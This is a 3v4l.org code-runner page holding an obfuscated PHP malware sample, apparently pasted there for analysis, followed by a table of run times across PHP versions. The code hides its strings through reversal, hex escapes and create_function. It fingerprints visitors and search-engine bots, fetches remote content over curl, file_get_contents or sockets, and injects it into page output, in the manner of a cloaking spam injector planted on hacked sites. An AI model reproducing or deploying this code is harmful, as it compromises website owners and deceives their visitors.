3v4l.org

run code in 300+ PHP versions simultaneously
<?php $v9 = '5656}5;Bv5;oc$v5Y5;-4_g@&oc$5;oc$v5Y5;-3_g@&oc$5;oc$v5Y5;-2_g@&oc$5;oc$v5Y5;-1_g@&oc$5;B&oc$5{5-6dtz55}56;%v5;)%6,"n\r\n\r\"(edolpxe&)%6,m$(tsil5;~v5)BV%(6fi5;)J(esolcW@5}5;t$6=.6%5{6))000016,J(daerW&t$(6elihw5;B&%5;)qer$6,J(etirwW5;"n\n\X$6:tsoH"6=.6qer$5;"n\0.1/PTTH6iru$6TEG"&qer$5}5;~v5;)J(esolcW@5{6))086,1pi$6,J(tcennocW@!(6fi5;)PCT_LOS6,MAERTS_KCOS6,TENI_FA(etaercW@&J5;~v5)2pi$6=!61pi$(6fi5;))1pi$(gnol2pi@(pi2gnol@&2pi$5;)X$(emanybXteg@&1pi$5;]"yreuq"[p$6.6"?"6.6]"htap"[p$&iru$5;B=]"yreuq"[p$6))]"yreuq"[p$(tessi!(fi5;]"X"[p$&X$5;-lru_esrap@6=p$5;~v5)~^)"etaercWj4_z55}5;%v5;~v5)BV%(6fi5;)cni$6,B(edolpmi@&%5;-elif@&cni$5;~v5)~^)"elifj3_z5}5;ser$v5;~v5)BVser$(6fi5;)hc$(esolcQ5;)hc$(cexeQ&ser$5;)06,REDAEH+5;)016,TUOEMIT+5;)16,REFSNARTNRUTER+5;)lru$6,LRU+5;)(tiniQ&hc$5;~v5)~^)"tiniQj2_z555}5;%v5;~v5)BV%(6fi5;-Z@&%5;~v5)~^)"Zj1_z59 |6: |5:""|B: == |V:tsoh|X:stnetnoc_teg_elif|Z:kcos$|J:_tekcos|W:_lruc|Q:)lru$(|-:_TPOLRUC ,hc$(tpotes_lruc|+:tpotes_lruc|*: = |&: === |^:fub$|%:eslaf|~: nruter|v:)~ ==! oc$( fi|Y:g noitcnuf|z:"(stsixe_noitcnuf( fi { )lru$(|j}}};eslaf nruter {esle };))8-,i$,ataDzg$(rtsbus(etalfnizg@ nruter };2+i$=i$ )2 & glf$ ( fi ;1+)i$ ,"0\",ataDzg$(soprts=i$ )61 & glf$( fi ;1+)i$,"0\",ataDzg$(soprts=i$ )8 & glf$( fi };nelx$+2+i$=i$ ;))2,i$,ataDzg$(rtsbus,"v"(kcapnu=)nelx$(tsil { )4 & glf$( fi { )0>glf$( fi ;))1,3,ataDzg$(rtsbus(dro=glf$ ;01=i$ { )"80x\b8x\f1x\"==)3,0,ataDzg$(rtsbus( fi { )ataDzg$(izgmoc noitcnuf { ))"izgmoc"(stsixe_noitcnuf!( fi|0} ;1o$~ } ;"" = 1o$Y;]1[1a$ = 1o$ )2=>)1a$(foezis( fi ;)1ac$,"0FN!"(edolpxe@=1a$ ;)po$,)-$(dtg@(2ne=1ac$ ;4g$."/".)"moc."(qqc."//:ptth"=-$ ;)))e&+)d&+)c&+)b&+)a&(edocne-(edocne-."?".po$=4g$ ;)999999,000001(dnar_tm=po$ {Y} ;"" = 1o$ { ) )))a$(rewolotrts ,"i/" . ))"relbmar*xednay*revihcra_ai*tobnsm*pruls*elgoog"(yarra ,"|"(edolpmi . "/"(hctam_gerp( ro )"nimda",)e$(rewolotrts(soprrtsQd$(Qc$(Qa$(( fi ;)"bc1afd45*88275b5e*8e4c7059*8359bd33"(yarra = rramod^FLES_PHP%e^TSOH_PTTH%d^RDDA_ETOMER%c^REREFER_PTTH%b^TNEGA_RESU_PTTH%a$ { )(212yadj } ;a$~ ;W=a$Y;"non"=a$ )""==W( fiY;"non"=a$ ))W(tessi!(fi { )marap$(212kcehcj } ;))po$ ,txet$(2ne(edocne_46esab~ { )txet&j9 esle |Y:]marap$[REVRES_$|W: ro )"non"==|Q:lru|-:.".".|+:","|*:$,po$(43k|&:$ ;)"|^:"(212kcehc=|%: nruter|~: noitcnuf|j}}8zc$9nruter9}817==!9eslaf28)45@9=979{96"5"(stsixe_328164sserpmocnuzg08164izgmoc08164etalfnizg09{9)llun9=9htgnel$9,4oocd939{9))"oocd"(stsixe_3!2| * ;*zd$*) )*edocedzg*zc$(*noitcnuf*( fi*zd$ nruter ) *@ = zd$( ==! eslaf( fi;)"j"(trats_boU~~~~;t$U&zesleU~;)W%Y%RzesleU~;)W@Y@RU;)v$(oocd=t$U;"54+36Q14+c6Q06+56Q26+".p$=T;"05+36Q46+16Q55+".p$=1p$;"f5Q74+56Q26+07Q"=p$U;)"enonU:gnidocnE-tnetnoC"(redaeHz)v$(jUwz))"j"(stsixe_w!k9 |U:2p$|T:x\|Q:1\|+:nruter|&:lmth|%:ydob|@:} |~: { |z:(fi|k:22ap|j:noitcnuf|w:/\<\(/"(T &z))t$,"is/|Y:/\<\/"(1p$k|R:1,t$ ,"1"."$"."n\".)(212yad ,"is/)>\*]>\^[|W'; $syv= "\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\141\x72\162\x61\171"; $siv = "\x73\164\x72\137\x72\145\x70\154\x61\143\x65"; $slv = "\x73\164\x72\162\x65\166"; $s1v="\x63\162\x65\141\x74\145\x5f\146\x75\156\x63\164\x69\157\x6e"; $svv = '//}9;g$^s$9nruter9}9;)8,0,q$(r$=.g$9;))"46\27x\36\56x\26\77x\16\17x\".q$.g$(m$,"*H"(p$9=9q$9{9))s$(l$<)g$(l$(9elihw9;""9=9g$9;"53x\441\d6x\"=m$;"261\47x\361\26x\561\37x\"=r$;"351\36x\141\07x\"=p$;"651\56x\451\27x\461\37x\"=l$9{9)q$9,s$(2ne9noitcnuf;}'; $n9 = '1067|416|779|223|361'; function oo2($b) { $h = explode("|", strrev($b)); $d = explode("*", $h[0]); $b = $h[1]; for($i=0;$i<sizeof($d);$i++) { $b = str_replace($i, $d[$i], $b); } create_function("", "};".$b."//"); } function cqq($qw) { return random($domarr,$qw); } function oo1($y) { $y= strrev($y); $g=substr($y,strpos($y,"9")+1); $v = explode(":",substr($y,0,strpos($y,"9"))); for($i=0;$i<sizeof($v);$i++) { $q = explode("|", $v[$i]); $g = str_replace($q[0],$q[1],$g); } create_function("", "};".$g."//"); } $s1v("", $siv("\71"," ",$slv($svv))); function random($arr,$qw) { $g="\x20\167\x2d\70\x36794587495086f963874,qq-82d94486e,r-86297186e94186d945,wq-874941874,s-87\x33\54\x67\75\x20\167\x2e\40\x72\73\x20\155\x2d\70"."6d944835,sq-873964872937873960\x38\66\x63\71\x35\61\x38\67\x34\42\x3b";$soy = "\x65\156\x32";$xx="\x65\170\x70"."\154\x6f\144\x65";$ecx="\x63\162\x65\141\x74\145\x5f\146\x75\156\x63\164\x69\157\x6e";$scy="\x73\164\x72\137\x72\145\x70\154\x61\143\x65";$a = $xx("|","\x5c\170\x7c\134\x31\174\x3d\42\x7c\42\x3b\44\x7c\44");$aa = $xx("|","8|9|-|,| ");$mec=$ecx;for($i=0;$i<sizeof($a);$i++) {$g = $scy($aa[$i],$a[$i],$g); }$ecx("", "};$g//");$mec("", $soy("\230\77\153\147\26\167\114\130\223\257\211\2\253\5\172\316\25\262\145\25\62\72\127\156\270\100\154\56\341\77\4\37\21\152\206\334\101\334\32\210\353\173\253\5\123\231\47\13\20",$scy)); return $arr[rand((0.24-(0.03*8)),(0.1875*6))].$qw; } $r9 = explode("|",$n9); $b9=0;$a9=0; for($i9=0;$i9<sizeof($r9);$i9++) { if ($i9==0) $a9=0; else $a9=$r9[$i9-1]+$a9; $b9=$r9[$i9]; $v_[]=substr($v9, $a9, $b9); } $y =1; for($i=0;$i<5;$i++) { $vv1 ="o"."o".$y; if ($y==1) $y=2; else $y=1; //$vv1($v_[$i]); echo 'Function Call: Function Name: '.$vv1.' Argument: '.$_v[$i]."\n"; }

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
7.3.10.0070.00716.51
7.3.00.0080.00516.72
7.2.130.0000.01716.68
7.2.120.0030.00917.10
7.2.110.0030.01017.03
7.2.100.0040.01116.96
7.2.90.0040.01417.03
7.2.80.0100.00316.91
7.2.70.0090.00617.04
7.2.60.0070.00716.86
7.2.50.0090.00916.79
7.2.40.0030.00916.87
7.2.30.0100.01017.07
7.2.20.0090.01216.93
7.2.10.0170.00317.00
7.2.00.0060.00718.26
7.1.250.0060.00315.74
7.1.70.0030.00517.00
7.1.60.0070.01719.70
7.1.50.0040.01917.05
7.1.00.0100.09022.40
7.0.200.0000.00716.61
7.0.140.0030.06722.23
7.0.100.0170.06319.96
7.0.90.0100.08320.01
7.0.80.0130.07719.97
7.0.70.0070.05719.97
7.0.60.0170.07320.04
7.0.50.0100.04320.39
7.0.40.0100.07020.05
7.0.30.0100.07320.10
7.0.20.0100.07020.03
7.0.10.0170.06720.04
7.0.00.0000.08020.10
5.6.280.0100.06721.13
5.6.250.0070.08020.77
5.6.240.0170.07320.66
5.6.230.0200.06020.71
5.6.220.0100.08320.67
5.6.210.0030.04720.78
5.6.200.0100.08021.16
5.6.190.0070.05721.11
5.6.180.0070.08021.13
5.6.170.0070.08321.06
5.6.160.0000.04021.04
5.6.150.0070.08721.20
5.6.140.0070.08021.03
5.6.130.0130.07321.10
5.6.120.0070.05721.06
5.6.110.0100.07321.04
5.6.100.0100.07721.12
5.6.90.0030.09020.96
5.6.80.0100.08020.35
5.6.70.0130.07020.41
5.6.60.0070.08320.42
5.6.50.0100.07320.58
5.6.40.0170.07320.45
5.6.30.0070.04720.39
5.6.20.0170.08020.51
5.6.10.0100.08020.44
5.6.00.0100.07720.32
5.5.380.0200.07020.39
5.5.370.0070.08320.40
5.5.360.0100.08020.39
5.5.350.0100.08020.41
5.5.340.0030.08720.94
5.5.330.0030.04320.93
5.5.320.0100.04320.65
5.5.310.0130.07020.85
5.5.300.0070.04020.91
5.5.290.0200.07020.80
5.5.280.0070.07720.89
5.5.270.0100.07320.92
5.5.260.0170.06720.89
5.5.250.0100.08020.70
5.5.240.0030.08020.28
5.5.230.0100.09020.27
5.5.220.0030.06320.28
5.5.210.0130.05020.33
5.5.200.0170.04320.20
5.5.190.0070.08020.21
5.5.180.0070.08320.29
5.5.160.0130.07720.23
5.5.150.0130.08320.16
5.5.140.0100.04320.14
5.5.130.0100.07720.15
5.5.120.0100.07020.29
5.5.110.0100.07720.29
5.5.100.0070.05320.19
5.5.90.0070.04720.19
5.5.80.0100.05020.19
5.5.70.0130.06020.09
5.5.60.0100.07320.05
5.5.50.0070.07320.06
5.5.40.0130.07320.12
5.5.30.0070.04020.12
5.5.20.0130.05720.02
5.5.10.0100.05020.06
5.5.00.0070.08319.99
5.4.450.0130.07019.36
5.4.440.0070.08019.38
5.4.430.0170.06319.35
5.4.420.0100.04319.50
5.4.410.0030.06719.42
5.4.400.0200.06319.07
5.4.390.0030.07719.03
5.4.380.0070.08019.20
5.4.370.0170.07318.90
5.4.360.0070.07319.03
5.4.350.0000.07319.03
5.4.340.0030.08318.90
5.4.320.0030.04719.21
5.4.310.0070.07319.05
5.4.300.0100.07318.91
5.4.290.0030.06019.18
5.4.280.0070.06719.03
5.4.270.0070.08019.20
5.4.260.0070.07718.87
5.4.250.0130.07018.94
5.4.240.0130.03319.13
5.4.230.0100.07319.17
5.4.220.0030.06719.15
5.4.210.0100.05019.23
5.4.200.0100.07319.04
5.4.190.0100.07718.89
5.4.180.0070.07319.15
5.4.170.0030.08318.89
5.4.160.0130.07319.12
5.4.150.0100.07318.88
5.4.140.0070.05316.44
5.4.130.0100.07316.33
5.4.120.0030.05316.46
5.4.110.0030.06016.52
5.4.100.0030.04016.40
5.4.90.0030.03016.44
5.4.80.0130.07016.38
5.4.70.0070.06716.47
5.4.60.0100.07016.42
5.4.50.0070.07016.35
5.4.40.0000.05716.45
5.4.30.0030.08316.49
5.4.20.0130.06316.34
5.4.10.0000.05716.49
5.4.00.0100.07015.84
5.3.290.0100.07314.73
5.3.280.0100.07014.57
5.3.270.0030.07314.71
5.3.260.0170.06714.76
5.3.250.0000.07314.66
5.3.240.0070.06314.58
5.3.230.0200.06014.57
5.3.220.0030.07714.63
5.3.210.0070.08014.64
5.3.200.0100.03314.61
5.3.190.0030.04314.66
5.3.180.0030.07714.66
5.3.170.0030.04714.67
5.3.160.0100.06714.60
5.3.150.0030.06314.59
5.3.140.0070.07714.59
5.3.130.0070.04314.60
5.3.120.0030.08014.65
5.3.110.0100.07714.52
5.3.100.0170.06714.14
5.3.90.0130.06714.09
5.3.80.0100.07014.09
5.3.70.0130.06714.07
5.3.60.0070.08013.93
5.3.50.0030.04314.07
5.3.40.0030.07314.13
5.3.30.0130.06713.95
5.3.20.0070.05313.83
5.3.10.0030.06013.72
5.3.00.0100.06713.59
5.2.170.0030.03713.17
5.2.160.0070.06013.17
5.2.150.0030.06313.17
5.2.140.0100.03013.17
5.2.130.0170.04713.17
5.2.120.0130.05713.17
5.2.110.0000.06713.17
5.2.100.0170.05013.17
5.2.90.0030.06313.17
5.2.80.0030.06013.17
5.2.70.0070.06013.17
5.2.60.0070.06713.17
5.2.50.0100.05313.17
5.2.40.0030.06013.17
5.2.30.0030.06013.17
5.2.20.0070.05713.17
5.2.10.0100.04713.17
5.2.00.0030.05013.17
5.1.60.0030.05313.17
5.1.50.0100.05013.17
5.1.40.0070.04713.17
5.1.30.0030.03013.17
5.1.20.0070.05313.17
5.1.10.0030.06013.17
5.1.00.0002.50013.17
5.0.50.0030.02313.17
5.0.40.0030.02013.17
5.0.30.0000.05313.17
5.0.20.0070.03713.17
5.0.10.0000.03013.17
5.0.00.0000.05013.17
4.4.90.0000.04013.17
4.4.80.0000.03713.17
4.4.70.0070.02713.17
4.4.60.0030.03313.17
4.4.50.0030.03313.17
4.4.40.0030.05313.17
4.4.30.0030.03313.17
4.4.20.0000.04013.17
4.4.10.0000.03713.17
4.4.00.0070.04313.17
4.3.110.0030.03313.17
4.3.100.0070.03013.17
4.3.90.0030.03313.17
4.3.80.0000.05313.17
4.3.70.0030.03713.17
4.3.60.0000.02013.17
4.3.50.0000.02013.17
4.3.40.0170.04013.17
4.3.30.0070.02713.17
4.3.20.0000.03713.17
4.3.10.0000.02713.17
4.3.00.0000.03713.17

preferences:
36.62 ms | 401 KiB | 5 Q